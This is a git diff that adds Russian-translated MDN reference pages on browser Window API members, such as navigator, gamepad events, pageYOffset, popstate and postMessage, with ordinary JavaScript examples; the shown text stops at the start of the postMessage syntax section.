+     sBrowser = "Microsoft Edge";
+     //"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 Edge/16.16299"
+} else if (sUsrAg.indexOf("Chrome") &gt; -1) {
+    sBrowser = "Google Chrome or Chromium";
+    //"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/66.0.3359.181 Chrome/66.0.3359.181 Safari/537.36"
+} else if (sUsrAg.indexOf("Safari") &gt; -1) {
+    sBrowser = "Apple Safari";
+    //"Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 980x1306"
+} else {
+    sBrowser = "unknown";
+}
+
+alert("You are using: " + sBrowser);
+</pre>
+
+<h3 id="Пример_2_Распознаётся_браузер_и_возвращается_его_индекс">Пример #2: Распознаётся браузер и возвращается его индекс</h3>
+
+<pre class="brush: js">function getBrowserId () {
+
+    var
+        aKeys = ["MSIE", "Firefox", "Safari", "Chrome", "Opera"],
+        sUsrAg = navigator.userAgent, nIdx = aKeys.length - 1;
+
+    for (nIdx; nIdx &gt; -1 &amp;&amp; sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);
+
+    return nIdx
+
+}
+
+console.log(getBrowserId());</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-navigator', 'Window: navigator')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимые_браузеры">Совместимые браузеры</h2>
+
+
+
+<p>{{Compat("api.Window.navigator")}}</p>
diff --git a/files/ru/web/api/window/ondeviceorientation/index.html b/files/ru/web/api/window/ondeviceorientation/index.html
new file mode 100644
index 0000000000..c9bde836d9
--- /dev/null
+++ b/files/ru/web/api/window/ondeviceorientation/index.html
@@ -0,0 +1,53 @@
+---
+title: Window.ondeviceorientation
+slug: Web/API/Window/ondeviceorientation
+tags:
+  - API
+  - Мобильные устройства
+  - Ориентация
+  - Ориентация устройства
+  - Свойства
+translation_of: Web/API/Window/ondeviceorientation
+---
+<p>{{ ApiRef() }}</p>
+
+<h2 id="Summary" name="Summary">Кратко</h2>
+
+<p>Обработчик события {{event('deviceorientation')}}, который содержит информацию об изменении относительной ориентации устройства.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.ondeviceorientation = function(event) { ... };
+window.addEventListener('deviceorientation', function(event) { ... });
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Device Orientation')}}</td>
+   <td>{{Spec2('Device Orientation')}}</td>
+   <td>Начальная спецификация.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ page("/en-US/docs/Web/API/DeviceOrientationEvent","Browser_compatibility") }}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{ event("deviceorientation") }}</li>
+ <li>{{ domxref("DeviceOrientationEvent") }}</li>
+ <li><a href="/en/Detecting_device_orientation" title="Detecting device orientation">Определение ориентации устройства</a> </li>
+</ul>
diff --git a/files/ru/web/api/window/ongamepadconnected/index.html b/files/ru/web/api/window/ongamepadconnected/index.html
new file mode 100644
index 0000000000..683e6d2af8
--- /dev/null
+++ b/files/ru/web/api/window/ongamepadconnected/index.html
@@ -0,0 +1,52 @@
+---
+title: Window.ongamepadconnected
+slug: Web/API/Window/ongamepadconnected
+translation_of: Web/API/Window/ongamepadconnected
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>ongamepadconnected</code></strong> интерфейса {{domxref("Window")}} представляет собой обработчик, который будет запущен при подключении геймпада (когда событие  {{event('gamepadconnected')}} запустится).</p>
+
+<p>Тип объекта события - {{domxref("GamepadEvent")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.ongamepadconnected = function() { ... };
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js; line-numbers  language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepadconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span>event<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// All buttons and axes values can be accessed through</span>
+  event<span class="punctuation token">.</span>gamepad<span class="punctuation token">;</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '#event-gamepadconnected', 'gamepadconnected event')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Window.ongamepadconnected")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ru/web/api/window/ongamepaddisconnected/index.html b/files/ru/web/api/window/ongamepaddisconnected/index.html
new file mode 100644
index 0000000000..c8ca962cb4
--- /dev/null
+++ b/files/ru/web/api/window/ongamepaddisconnected/index.html
@@ -0,0 +1,51 @@
+---
+title: Window.ongamepaddisconnected
+slug: Web/API/Window/ongamepaddisconnected
+translation_of: Web/API/Window/ongamepaddisconnected
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}{{SeeCompatTable}}</div>
+
+<p>Свойство <strong><code>ongamepaddisconnected</code></strong> интерфейса {{domxref("Window")}} представляет собой обработчик события, который будет вызван при отключении геймпада (когда сработает событие {{event('gamepaddisconnected')}}).</p>
+
+<p>Тип объекта события {{domxref("GamepadEvent")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.ongamepaddisconnected = function() { ... };
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js; line-numbers  language-js notranslate"><code class="language-js">window<span class="punctuation token">.</span><span class="punctuation token">on</span><span class="string token">gamepaddisconnected =</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// A gamepad has been disconnected</span>
+<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Gamepad', '#event-gamepaddisconnected', 'gamepaddisconnected event')}}</td>
+   <td>{{Spec2('Gamepad')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+
+
+<p>{{Compat("api.Window.ongamepaddisconnected")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a class="external text" href="https://hacks.mozilla.org/2013/12/the-gamepad-api/" rel="nofollow">The Gamepad API</a> by Ted Mielczarek and Robert Nyman</li>
+ <li><a href="http://luser.github.io/gamepadtest/">Simple API demo page</a> (<a href="https://github.com/luser/gamepadtest">source</a>)</li>
+</ul>
diff --git a/files/ru/web/api/window/onpaint/index.html b/files/ru/web/api/window/onpaint/index.html
new file mode 100644
index 0000000000..efa6d5761e
--- /dev/null
+++ b/files/ru/web/api/window/onpaint/index.html
@@ -0,0 +1,31 @@
+---
+title: Window.onpaint
+slug: Web/API/Window/onpaint
+translation_of: Web/API/Window/onpaint
+---
+<p>{{ ApiRef() }}</p>
+
+<p id="comment_text_2">{{Non-standard_header}}</p>
+
+<h2 id="Summary" name="Summary">Обзор</h2>
+
+<p>Обработчик события paint для объекта window. На текущий момент не работает в приложениях основанных на движке <strong><a href="en/Gecko">Gecko</a>. См. секцию Замечания</strong><strong>!</strong></p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval">window.onpaint =<em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> - функция, обработчик события.</li>
+</ul>
+
+<h2 id="Notes" name="Notes">Замечания</h2>
+
+<p><code>Событие onpaint</code> на текущий момен не реализовано, и дата её реализации неизвестна, см. {{ Bug(239074) }}.</p>
+
+<p>Событие paint срабатывает в момент рендеринга window. Данное событие срабатывает после события window - load, и срабатывает каждый раз когда сраница перерисовывается. что бывает когда другое окно перекрывает текущее - а потом исчезает.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<p id="comment_text_2">Не является частью какой-либо спецификации.</p>
diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html
new file mode 100644
index 0000000000..edac7ff6d3
--- /dev/null
+++ b/files/ru/web/api/window/pageyoffset/index.html
@@ -0,0 +1,166 @@
+---
+title: Window.pageYOffset
+slug: Web/API/Window/pageYOffset
+tags:
+  - прокрутка
+  - скролл
+translation_of: Web/API/Window/pageYOffset
+---
+<div>{{ APIRef("CSSOM View") }} </div>
+
+<p><strong><code>pageYOffset</code></strong> - свойство окна {{domxref("Window")}} , доступное только для чтения. Это то же свойство, что и {{domxref("Window.scrollY", "scrollY")}} и, как таковое, оно тоже возвращает количество пикселей, на которое прокручен документ по вертикали (вниз или вверх). Значение свойства равное 0.0 говорит о том, что в данный момент верхний край документа {{domxref("Document")}} совпадает с верхним краем области содержимого окна.</p>
+
+
+
+<div></div>
+
+<p>Есть незначительная разница в поддержке <code>pageYOffset</code> и <code>scrollY</code>, первый поддерживается лучше в старых браузерах, но если не затрагивать очень старые версии, то использовать можно любое свойство. Они идентичны.</p>
+
+<p>Соответствующее свойство {{domxref("Window.pageXOffset", "pageXOffset")}}, которое возвращает количество пикселей, на которое документ прокручен по горизонтали, это то же самое, что и {{domxref("Window.scrollX", "scrollX")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>yOffset</em> = window.pageYOffset;
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.</p>
+
+<p>Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<div class="hidden">
+<pre class="brush: js">var contentHTML = `
+    &lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Aenean volutpat vitae felis non dictum. Ut auctor
+eros tortor, vel elementum arcu rhoncus nec. Donec non
+laoreet massa. Donec pretium nisi et condimentum convallis.
+Nullam dictum molestie finibus. Nullam vitae lorem non
+augue mattis cursus.&lt;/p&gt;
+  &lt;p&gt;Maecenas nec tortor tincidunt, sollicitudin mi eget,
+fermentum turpis. Vestibulum ac ante et libero efficitur
+faucibus id eget ex. Pellentesque tempor pharetra
+tincidunt. Suspendisse potenti. Nulla vulputate nunc sit
+amet hendrerit faucibus. Nullam metus dui, venenatis
+lacinia nunc nec, vestibulum viverra nunc. Quisque interdum
+quam tortor, sit amet varius neque consectetur at. Quisque
+vel turpis justo.&lt;/p&gt;
+  &lt;h2 id="overview"&gt;Overview&lt;/h2&gt;
+  &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipiscing
+elit. Etiam dui dolor, pulvinar sed diam id, eleifend
+dapibus odio. Duis vitae ante nibh. Integer bibendum
+imperdiet suscipit. Fusce ligula leo, consectetur ac ante
+eget, gravida laoreet purus. Cras sodales efficitur risus,
+sed feugiat sem. Pellentesque justo augue, placerat non leo
+sit amet, laoreet fringilla arcu.&lt;/p&gt;
+  &lt;p&gt;Class aptent taciti sociosqu ad litora torquent per
+conubia nostra, per inceptos himenaeos. Proin in gravida
+libero. Vivamus placerat, lacus eget condimentum sagittis,
+enim nunc bibendum nisi, quis varius erat felis sit amet
+risus.&lt;/p&gt;
+&lt;p&gt;Sed non finibus ligula. Fusce a magna auctor, molestie
+nibh eget, sodales felis. Donec imperdiet facilisis mi ut
+aliquam. Etiam sodales suscipit urna, eget hendrerit neque
+elementum a. Vivamus fringilla sodales est ut ultricies.
+Nulla convallis congue maximus. Nullam consectetur felis
+vitae ultricies accumsan. Mauris at aliquam felis. Mauris
+efficitur tellus massa, id ullamcorper ipsum fermentum eu.
+Aenean mollis dignissim ultrices. Nunc gravida, sem sit
+amet lobortis iaculis, dolor ligula convallis nibh, id
+condimentum metus libero nec odio. Quisque nec ante
+pretium, viverra neque nec, facilisis risus. Duis
+condimentum sapien non felis cursus blandit. Integer
+euismod lectus a ipsum pellentesque lacinia.&lt;/p&gt;
+`;
+
+document.getElementById("frame").contentDocument
+        .body.innerHTML = contentHTML;
+</pre>
+</div>
+
+<p>В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения <code>pageYOffset</code>  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML предельно прост и состоит из двух элементов: {{HTMLElement("iframe")}}, содержащий документ, который мы будем прокручивать, и {{HTMLElement("div")}}, в который мы выведем значение свойства <code>pageYOffset</code> по окончании прокрутки.</p>
+
+<pre class="brush: html">&lt;iframe id="frame"&gt;
+&lt;/iframe&gt;
+
+&lt;div id="info"&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var frame = document.getElementById("frame");
+var frameDoc = frame.contentDocument;
+var info = document.getElementById("info");
+
+var target = frameDoc.getElementById("overview");
+frameDoc.scrollingElement.scrollTop = target.offsetTop;
+
+info.innerText = "Y offset after scrolling: " +
+                 frame.contentWindow.pageYOffset + " pixels";</pre>
+
+<p>Код JavaScript начинается с записи в переменные <code>frame</code> and <code>info</code> элементов <code>&lt;iframe&gt;</code>, содержащего наш документ, и элемента <code>&lt;div&gt;</code> , в который мы запишем результат проверки положения прокрутки. Затем мы получаем ссылку на элемент из нашего документа, который сразу должен быть прокручен до видимой области рамки, с помощью команды {{domxref("Document.getElementById", "getElementById()")}} у {{domxref("HTMLIFrameElement.contentDocument")}} рамки.</p>
+
+<p>Имея целевой элемент, мы устанавлиеваем {{domxref("Element.scrollTop", "scrollTop")}} {{domxref("Document.scrollingElement", "scrollingElement")}} рамки от свойства {{domxref("Element.offsetTop", "offsetTop")}} целевого элемента. Тем самым мы настраиваем положение вертикальной прокрутки документа рамки таким образом, чтобы оно было таким же как и у верхнего края целевого элемента.</p>
+
+<p>При этом автоматически установится максимально возможное значение у позиции прокрутки при попытке прокрутить дальше конца документа. Это предотвратит выход за границы документа. Никто не хочет знать, что там. Там могут быть драконы. </p>
+
+<div class="hidden">
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">iframe {
+  width: 620px;
+  height: 450px;
+  border: 1px solid black;
+}
+
+#info {
+  margin-top: 20px;
+  font: 16px "Open Sans", "Helvetica", "Arial";
+}</pre>
+</div>
+
+<h3 id="Результат">Результат</h3>
+
+<p>Результат ниже. Обратите внимание на то, что содержимое документа уже прокручено до секции, под названием "Overview", а свойство<code>pageYOffset</code> имеет соответствующее значение.</p>
+
+<p>{{EmbedLiveSample("Пример", 650, 500)}}</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#dom-window-pageyoffset', 'window.pageYOffset') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Window.pageYOffset")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Window.pageXOffset", "pageXOffset")}}</li>
+ <li>{{domxref("Window.scrollY", "scrollY")}} and {{domxref("Window.scrollX", "scrollX")}}</li>
+ <li>{{domxref("Window.scroll", "scroll()")}}, {{domxref("Window.scrollBy", "scrollBy()")}}, and {{domxref("window.scrollTo", "scrollTo()")}}</li>
+</ul>
diff --git a/files/ru/web/api/window/parent/index.html b/files/ru/web/api/window/parent/index.html
new file mode 100644
index 0000000000..86c28a2e05
--- /dev/null
+++ b/files/ru/web/api/window/parent/index.html
@@ -0,0 +1,46 @@
+---
+title: Window.parent
+slug: Web/API/Window/parent
+tags:
+  - API
+  - HTML DOM
+  - NeedsCompatTable
+  - NeedsExample
+  - NeedsMarkupWork
+  - NeedsSpecTable
+  - Property
+  - Reference
+  - Window
+translation_of: Web/API/Window/parent
+---
+<p>{{APIRef}}</p>
+
+<p>Ссылка на родительский объект window или родительский iframe.</p>
+
+<p>Если у объекта window нет родителя, то свойство <span style="font-family: courier,andale mono,monospace;">parent</span> данного объекта будет ссылаться на сам объект.</p>
+
+<p>Если window загружен внутри {{htmlelement("iframe")}}, {{htmlelement("object")}}, или {{htmlelement("frame")}}, то его parent - это объект window с элементом содержащим данный window.</p>
+
+<h2 id="Syntax" name="Syntax">Синтакс</h2>
+
+<pre class="syntaxbox"><var>parentWindow</var> = window.parent;
+</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (window.parent != window.top) {
+  // мы находимся глубже чем один уровень
+}</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/browsers.html#dom-parent">HTML5</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.frameElement")}} возвращает элемент (например <code>&lt;iframe&gt;</code>), который содержит объект  <span style="font-family: courier,andale mono,monospace;">window</span>.</li>
+ <li>{{domxref("window.top")}} возвращает ссылку на объект window самого верхнего уровня.</li>
+</ul>
diff --git a/files/ru/web/api/window/performance/index.html b/files/ru/web/api/window/performance/index.html
new file mode 100644
index 0000000000..39e11ecbf8
--- /dev/null
+++ b/files/ru/web/api/window/performance/index.html
@@ -0,0 +1,48 @@
+---
+title: Window.performance
+slug: Web/API/Window/performance
+translation_of: Web/API/Window/performance
+---
+<div>{{APIREf}}</div>
+
+<p>The Web Performance API allows web pages access to certain functions for measuring the performance of web pages and web applications, including the <a href="/en-US/docs/Navigation_timing">Navigation Timing </a>API and high-resolution time data.</p>
+
+<h2 id="Methods" name="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Performance.mark()", "performance.mark()")}}</dt>
+ <dd>Maps a {{domxref("DOMHighResTimeStamp")}} to a specified name representing the amount of milliseconds elapsed since a reference instant.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Performance.now()", "performance.now()")}}</dt>
+ <dd>Возвращает {{domxref("DOMHighResTimeStamp")}} представляющий количество миллисекунд прошедшее с момента отсчета.</dd>
+ <dt><code>measure()</code></dt>
+ <dd>This method stores the <a href="http://www.w3.org/TR/hr-time/#domhighrestimestamp"><code>DOMHighResTimeStamp</code></a> duration between two marks along with the associated name (a "measure").</dd>
+ <dt><strong><code>getEntriesByType()</code></strong></dt>
+ <dd> </dd>
+ <dt><strong><code>getEntriesByType()</code></strong></dt>
+ <dd> </dd>
+ <dt><strong><code>getEntriesByName()</code></strong></dt>
+ <dd> </dd>
+ <dt><code>clearMarks()</code></dt>
+ <dd>
+ <p>If the markName argument is not specified, this method removes all marks and their associated DOMHighResTimeStamp time values.</p>
+
+ <p>If the markName argument is specified, this method removes all DOMHighResTimeStamp time values for the given mark name.</p>
+
+ <p>If the markName argument is specified but the specified markName does not exist, this method will do nothing.<br>
+   </p>
+ </dd>
+</dl>
+
+<h2 id="Properties" name="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Performance.timing", "performance.timing")}}</dt>
+ <dd>Is a {{domxref("PerformanceTiming")}} object containing latency-related performance information.</dd>
+ <dt>{{domxref("Performance.navigation", "performance.navigation")}}</dt>
+ <dd>Is a {{domxref("PerformanceNavigation")}} object representing the type of navigation that occurs in the given browsing context, like the amount of redirections needed to fetch the resource.</dd>
+ <dt><a href="https://docs.webplatform.org/wiki/apis/timing/properties/memory">performance.memory</a></dt>
+ <dd>A non-standard extension added in Chrome.</dd>
+</dl>
diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html
new file mode 100644
index 0000000000..65c7ef6a93
--- /dev/null
+++ b/files/ru/web/api/window/popstate_event/index.html
@@ -0,0 +1,155 @@
+---
+title: popstate
+slug: Web/API/Window/popstate_event
+translation_of: Web/API/Window/popstate_event
+---
+<p>Событие <code>popstate</code> вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_pushState()_method">history.pushState()</a></code> или <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API#The_replaceState()_method">history.replaceState()</a></code>, то состояние события <code>popstate</code> будет содержать <code>state </code>копии входящего в историю объекта</p>
+
+<p>Обратите внимание,  <code>history.pushState()</code> или <code>history.replaceState()</code> не вызывают событие <code>popstate</code>. Событие <code>popstate</code> будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове <code>history.back()</code> или <code> history.forward()</code> из JavaScript).</p>
+
+<p>Браузеры работают с  событием <code>popstate</code> по разному. Chrome (prior to v34) и Safari всегда вызывают <code>popstate</code> по окончании загрузки страницы, а Firefox не делает этого.</p>
+
+<h2 id="General_info">General info</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Specification</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/history.html#event-popstate">HTML5</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Interface</dt>
+ <dd style="margin: 0 0 0 120px;">PopStateEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>{{domxref("EventTarget")}}</td>
+   <td>The browsing context (<code>window</code>).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>{{domxref("DOMString")}}</td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>{{jsxref("Boolean")}}</td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>state</code> {{readonlyInline}}</td>
+   <td><em>any</em></td>
+   <td>The current history entry's state object (if any).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("2")}}</td>
+   <td>10.0 [3]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0[2]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("2")}}</td>
+   <td>10.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}[1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] The implementation has limited support.</p>
+
+<p>[2] The implementation in Android 2.2 and 2.3 was buggy.</p>
+
+<p>[3] IE &amp; Edge do not fire the popstate event when the URL's hash value changes, see the <a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/3740423/">bug report</a>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>A page at <code>http://example.com/example.html</code> running the following code will generate logs as indicated:</p>
+
+<pre class="brush: js">window.onpopstate = function(event) {
+  console.log("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // Logs "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // Logs "location: http://example.com/example.html, state: null
+history.go(2);  // Logs "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>Note that even though the original history entry (for <code>http://example.com/example.html</code>) has no state object associated with it, a <code>popstate</code> event is still fired when we activate that entry after the second call to <code>history.back()</code>.</p>
+
+<h2 id="Related_Events">Related Events</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Mozilla_event_reference/hashchange"><code>hashchange</code></a></li>
+</ul>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/History_API">Manipulating the browser history (the History API) </a></li>
+</ul>
diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html
new file mode 100644
index 0000000000..785e8fe108
--- /dev/null
+++ b/files/ru/web/api/window/postmessage/index.html
@@ -0,0 +1,245 @@
+---
+title: Window.postMessage()
+slug: Web/API/Window/postMessage
+translation_of: Web/API/Window/postMessage
+---
+<div>{{ApiRef("HTML DOM")}}</div>
+
+<p><strong><code>Window.postMessage()</code></strong> - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). <code>window.postMessage()</code> предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.</p>
+
+<p><font face="Open Sans, arial, x-locale-body, sans-serif">При вызове метода </font><code>window.postMessage()</code> он вызывает {{domxref("MessageEvent")}} для отправки в целевом окне, когда завершается любой ожидающий сценарий, который должен быть выполнен (например, оставшиеся обработчики событий, если <code>window.postMessage()</code> вызвается из обработчика событий ранее заданных ожидающих таймаутов). {{domxref("MessageEvent")}} имеет тип  <code>message</code>, <code>data-свойство</code> которого устанавливает значение первого аргумента в методе <code>window.postMessage()</code>, свойство <code>origin</code>  соотвествует адресу основного документа в вызове <code>window.postMessage</code> во время  вызова <code>window.postMessage()</code>, свойство <code>source</code> указывает на окно, из которого <code>window.postMessage()</code> вызвали. (Другие стандартные свойства событий имеют ожидаемые значения)</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>otherWindow</em>.postMessage(<em>message</em>, <em>targetOrigin</em>, [<em>transfer</em>]);</pre>
+
+<dl>
+ <dt><code><em>otherWindow</em></code></dt>
